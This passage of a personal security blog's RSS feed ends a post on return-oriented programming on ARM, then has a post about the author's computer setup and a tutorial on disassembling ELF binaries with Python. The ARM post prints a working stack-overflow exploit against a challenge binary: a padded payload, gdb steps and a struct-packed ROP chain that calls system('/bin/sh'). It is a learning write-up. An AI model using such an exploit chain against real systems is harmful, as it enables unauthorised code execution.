1947are used for this. So this gadget effectively allows us to pass arguments to
1948functions using <code>r0</code>, and subsequently jumping to them by passing its address
1949in <code>pc</code>. Neat.</p>
1950
1951<p>Moving on to the disassembly of the <code>winner</code> function:</p>
1952
1953<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
1954
1955<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
1956So our end goal here is to, quite obviously, execute code via the <code>system()</code>
1957function.</p>
1958
1959<p>Now that we have an overview of what’s in the binary, let’s formulate a method
1960of exploitation by messing around with inputs.</p>
1961
1962<h2 id="messing-around-with-inputs">Messing around with inputs :^)</h2>
1963
1964<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
1965screenshot.</p>
1966
1967<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
1968
1969<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
1970the <code>pc</code> has been overwritten with our input.
1971So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
1972
1973<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
1974control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
1975
1976<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
1977of the second instruction—<code>add r11, sp, #4</code>.
1978For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
1979the address of <code>winner</code>. Note the endianness.</p>
1980
1981<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
1982</code></pre></div>
1983
1984<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
1985
1986<p>The reason we don’t jump to the first instruction is because we want to control the stack
1987ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
1988those out after <code>winner</code> is done executing and we will no longer control
1989where it jumps to.</p>
1990
1991<p>So that didn’t do much, just prints out a string “Nothing much here…”.
1992But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
1993to do what we want (run a command, execute a shell, etc.).</p>
1994
1995<p>To do that, we’ll follow a multi-step process: </p>
1996
1997<ol>
1998<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
1999<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
2000<code>r0</code>.</li>
2001<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
2002</ol>
2003
2004<p>The pseudo-code is something like this:</p>
2005
2006<pre><code>string = AAAABBBBCCCCDDDDEEEE
2007gadget = # addr of gadget
2008binsh = # addr of /bin/sh
2009system = # addr of system()
2010
2011print(string + gadget + binsh + system)
2012</code></pre>
2013
2014<p>Clean and mean.</p>
2015
2016<h2 id="the-exploit">The exploit</h2>
2017
2018<p>To write the exploit, we’ll use Python and the absolute godsend of a library—<code>struct</code>.
2019It allows us to pack the bytes of addresses to the endianness of our choice.
2020It probably does a lot more, but who cares.</p>
2021
2022<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
2023at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
2024
2025<pre><code>(gdb) find &system, +9999999, "/bin/sh"
2026</code></pre>
2027
2028<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
2029
2030<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
2031found from the disassmblies from earlier. Here’s the final exploit code:</p>
2032
2033<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
2034
2035<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
2036<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
2037<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
2038<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
2039
2040<span class="nb">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
2041</code></pre></div>
2042
2043<p>Honestly, not too far off from our pseudo-code :)</p>
2044
2045<p>Let’s see it in action:</p>
2046
2047<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
2048
2049<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
2050when the pipe closes, since there’s no input coming in from STDIN.
2051To get around this, we use <code>cat(1)</code> which allows us to relay input through it
2052to the shell. Nifty trick.</p>
2053
2054<h2 id="conclusion">Conclusion</h2>
2055
2056<p>This was a fairly basic challenge, with everything laid out conveniently.
2057Actual ropchaining is a little more involved, with a lot more gadgets to be chained
2058to acheive code execution.</p>
2059
2060<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
2061]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h2 id="hardware">Hardware</h2>
2062
2063<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
20648 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
2065
2066<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
2067I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
2068
2069<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
2070
2071<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
2072For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
2073
2074<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
2075Great pair of headphones, although the ear cups need replacing.</p>
2076
2077<h2 id="and-the-software">And the software</h2>
2078
2079<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
2080window manager, all riced. I now use whatever JustWorks™.</del></p>
2081
2082<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
2083running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
2084
2085<p>Here’s a (riced) screenshot of my desktop. </p>
2086
2087<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
2088
2089<p>Most of my work is done in either the browser, or the terminal.
2090My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
2091a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a>—<a href="https://github.com/icyphox/nicy">nicy</a>.
2092My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
2093I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
2094
2095<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
2096clean and a single command to drop into a Kali shell.</p>
2097
2098<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
2099The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
2100
2101<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
2102]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
2103
2104<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
2105
2106<h2 id="setup">Setup</h2>
2107
2108<p>As the title suggests, you’re going to need a Python 3 interpreter before
2109anything else. Once you’ve confirmed beyond reasonable doubt that you do,
2110in fact, have a Python 3 interpreter installed on your system, run</p>
2111
2112<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
2113</code></pre></div>
2114
2115<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
2116
2117<p>With that out of the way, let’s start with an example of a basic reversing
2118challenge.</p>
2119
2120<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
2121
2122<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
2123<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
2124<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
2125
2126<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
2127 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
2128 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
2129 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
2130 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
2131 <span class="p">}</span>
2132 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
2133 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
2134 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
2135 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
2136 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
2137 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
2138 <span class="p">}</span>
2139 <span class="k">else</span> <span class="p">{</span>
2140 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
2141 <span class="p">}</span>
2142<span class="p">}</span>
2143</code></pre></div>
2144
2145<p>Compile it with GCC/Clang:</p>
2146
2147<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
2148</code></pre></div>
2149
2150<h2 id="scripting">Scripting</h2>
2151
2152<p>For starters, let’s look at the different sections present in the binary.</p>
2153
2154<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
2155
2156<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
2157
2158<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2159 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
2160 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
2161 <span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
2162</code></pre></div>
2163
2164<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
2165
2166<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
2167<span class="go">0x238 .interp</span>
2168<span class="go">0x254 .note.ABI-tag</span>
2169<span class="go">0x274 .note.gnu.build-id</span>
2170<span class="go">0x298 .gnu.hash</span>
2171<span class="go">0x2c0 .dynsym</span>
2172<span class="go">0x3e0 .dynstr</span>
2173<span class="go">0x484 .gnu.version</span>
2174<span class="go">0x4a0 .gnu.version_r</span>
2175<span class="go">0x4c0 .rela.dyn</span>
2176<span class="go">0x598 .rela.plt</span>
2177<span class="go">0x610 .init</span>
2178<span class="go">0x630 .plt</span>
2179<span class="go">0x690 .plt.got</span>
2180<span class="go">0x6a0 .text</span>
2181<span class="go">0x8f4 .fini</span>
2182<span class="go">0x900 .rodata</span>
2183<span class="go">0x924 .eh_frame_hdr</span>
2184<span class="go">0x960 .eh_frame</span>
2185<span class="go">0x200d98 .init_array</span>
2186<span class="go">0x200da0 .fini_array</span>
2187<span class="go">0x200da8 .dynamic</span>
2188<span class="go">0x200f98 .got</span>
2189<span class="go">0x201000 .data</span>
2190<span class="go">0x201010 .bss</span>
2191<span class="go">0x0 .comment</span>
2192<span class="go">0x0 .symtab</span>
2193<span class="go">0x0 .strtab</span>
2194<span class="go">0x0 .shstrtab</span>
2195</code></pre></div>
2196
2197<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
2198
2199<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
2200
2201<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
2202
2203<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
2204<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
2205
2206<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2207 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
2208 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
2209 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
2210 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
2211 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
2212 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
2213 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'0x</span><span class="si">{i.address:x}</span><span class="s1">:</span><span class="se">\t</span><span class="si">{i.mnemonic}</span><span class="se">\t</span><span class="si">{i.op_str}</span><span class="s1">'</span><span class="p">)</span>
2214</code></pre></div>
2215
2216<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
2217
2218<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
2219<span class="go">0x6a0: xor ebp, ebp</span>
2220<span class="go">0x6a2: mov r9, rdx</span>
2221<span class="go">0x6a5: pop rsi</span>
2222<span class="go">0x6a6: mov rdx, rsp</span>
2223<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
2224<span class="go">0x6ad: push rax</span>
2225<span class="go">0x6ae: push rsp</span>
2226<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
2227<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
2228<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
2229<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
2230<span class="go">0x6ca: hlt</span>
2231<span class="go">... snip ...</span>
2232</code></pre></div>
2233
2234<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
2235
2236<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
2237
2238<blockquote>
2239 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
2240</blockquote>
2241
2242<p>To try and find these relocation entries, we write a third script.</p>
2243
2244<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
2245
2246<span class="kn">import</span> <span class="nn">sys</span>
2247<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
2248<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
2249
2250<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
2251 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
2252 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
2253 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
2254 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'</span><span class="si">{section.name}</span><span class="s1">:'</span><span class="p">)</span>
2255 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
2256 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
2257 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
2258 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
2259 <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">'</span><span class="si">{symbol.name}</span><span class="s1"> </span><span class="si">{addr}</span><span class="s1">'</span><span class="p">)</span>
2260</code></pre></div>
2261
2262<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
2263
2264<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
2265<span class="go">.rela.dyn:</span>
2266<span class="go"> 0x200d98</span>
2267<span class="go"> 0x200da0</span>
2268<span class="go"> 0x201008</span>
2269<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
2270<span class="go">**__libc_start_main 0x200fe0**</span>
2271<span class="go">__gmon_start__ 0x200fe8</span>
2272<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
2273<span class="go">__cxa_finalize 0x200ff8</span>
2274<span class="go">stdin 0x201010</span>
2275<span class="go">.rela.plt:</span>
2276<span class="go">puts 0x200fb0</span>
2277<span class="go">printf 0x200fb8</span>
2278<span class="go">fgets 0x200fc0</span>
2279<span class="go">strcmp 0x200fc8</span>
2280<span class="go">malloc 0x200fd0</span>
2281</code></pre></div>
2282
2283<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
2284
2285<blockquote>
2286 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
2287</blockquote>
2288
2289<p>And its definition is like so</p>
2290
2291<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
2292<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
2293<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2294<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2295<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
2296<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
2297</code></pre></div>
2298
2299<p>Looking back at our disassembly</p>
2300
2301<pre><code>0x6a0: xor ebp, ebp
23020x6a2: mov r9, rdx
23030x6a5: pop rsi
23040x6a6: mov rdx, rsp
23050x6a9: and rsp, 0xfffffffffffffff0
23060x6ad: push rax
23070x6ae: push rsp
23080x6af: lea r8, [rip + 0x23a]
23090x6b6: lea rcx, [rip + 0x1c3]
2310**0x6bd: lea rdi, [rip + 0xe6]**
23110x6c4: call qword ptr [rip + 0x200916]
23120x6ca: hlt
2313... snip ...
2314</code></pre>
2315
2316<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
2317
2318<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
2319
2320<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
2321
2322<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
2323
2324<pre><code>printf 0x650
2325fgets 0x660
2326strcmp 0x670
2327malloc 0x680
2328</code></pre>
2329
2330<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
2331
2332<pre><code>0x7b2: mov edi, 0xa ; 10
23330x7b7: call 0x680 ; malloc
2334</code></pre>
2335
2336<p>The loop to populate the <code>*pw</code> string</p>
2337
2338<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
23390x7d3: cdqe
23400x7d5: lea rdx, [rax - 1]
23410x7d9: mov rax, qword ptr [rbp - 0x10]
23420x7dd: add rax, rdx
23430x7e0: movzx eax, byte ptr [rax]
23440x7e3: lea ecx, [rax + 1]
23450x7e6: mov eax, dword ptr [rbp - 0x14]
23460x7e9: movsxd rdx, eax
23470x7ec: mov rax, qword ptr [rbp - 0x10]
23480x7f0: add rax, rdx
23490x7f3: mov edx, ecx
23500x7f5: mov byte ptr [rax], dl
23510x7f7: add dword ptr [rbp - 0x14], 1
23520x7fb: cmp dword ptr [rbp - 0x14], 8
23530x7ff: jle 0x7d0
2354</code></pre>
2355
2356<p>And this looks like our <code>strcmp()</code></p>
2357
2358<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
23590x847: mov rax, qword ptr [rbp - 8] ; *pw
23600x84b: mov rsi, rdx
23610x84e: mov rdi, rax
23620x851: call 0x670 ; strcmp
23630x856: test eax, eax ; is = 0?
23640x858: jne 0x868 ; no? jump to 0x868
23650x85a: lea rdi, [rip + 0xae] ; "haha yes!"
23660x861: call 0x640 ; puts
23670x866: jmp 0x874
23680x868: lea rdi, [rip + 0xaa] ; "nah dude"
23690x86f: call 0x640 ; puts
2370</code></pre>
2371
2372<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
2373
2374<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
2375
2376<h2 id="conclusion">Conclusion</h2>
2377
2378<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
2379
2380<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
2381
2382<p>Ciao for now, and I’ll see ya in #2 of this series—PE binaries. Whenever that is.</p>
2383]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
2384</rss>